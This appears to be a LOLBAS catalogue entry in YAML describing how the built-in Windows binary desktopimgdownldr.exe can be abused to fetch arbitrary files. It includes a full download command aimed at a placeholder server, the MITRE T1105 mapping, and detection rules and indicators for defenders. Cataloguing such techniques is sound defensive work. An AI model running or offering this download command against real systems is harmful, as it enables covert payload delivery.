LOLBAS/yml/OSBinaries/Desktopimgdownldr.yml
frack113 4f83231697
Update old sigma link (#303)
* Update SigmaHQ ref

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* Update SigmaHQ ref

Signed-off-by: frack113 <62423083+frack113@users.noreply.github.com>

* Update SigmaHq ref

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* Update SigmaHq ref

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2023-10-18 11:30:34 -04:00

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1.5 KiB
YAML

---
Name: Desktopimgdownldr.exe
Description: Windows binary used to configure lockscreen/desktop image
Author: Gal Kristal
Created: 2020-06-28
Commands:
- Command: set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr
Description: Downloads the file and sets it as the computer's lockscreen
Usecase: Download arbitrary files from a web server
Category: Download
Privileges: User
MitreID: T1105
OperatingSystem: Windows 10, Windows 11
Full_Path:
- Path: c:\windows\system32\desktopimgdownldr.exe
Code_Sample:
- Code:
Detection:
- Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_desktopimgdownldr_susp_execution.yml
- Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/file/file_event/file_event_win_susp_desktopimgdownldr_file.yml
- Elastic: https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/command_and_control_remote_file_copy_desktopimgdownldr.toml
- IOC: desktopimgdownldr.exe that creates non-image file
- IOC: Change of HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP\LockScreenImageUrl
Resources:
- Link: https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/
Acknowledgement:
- Person: Gal Kristal
Handle: '@gal_kristal'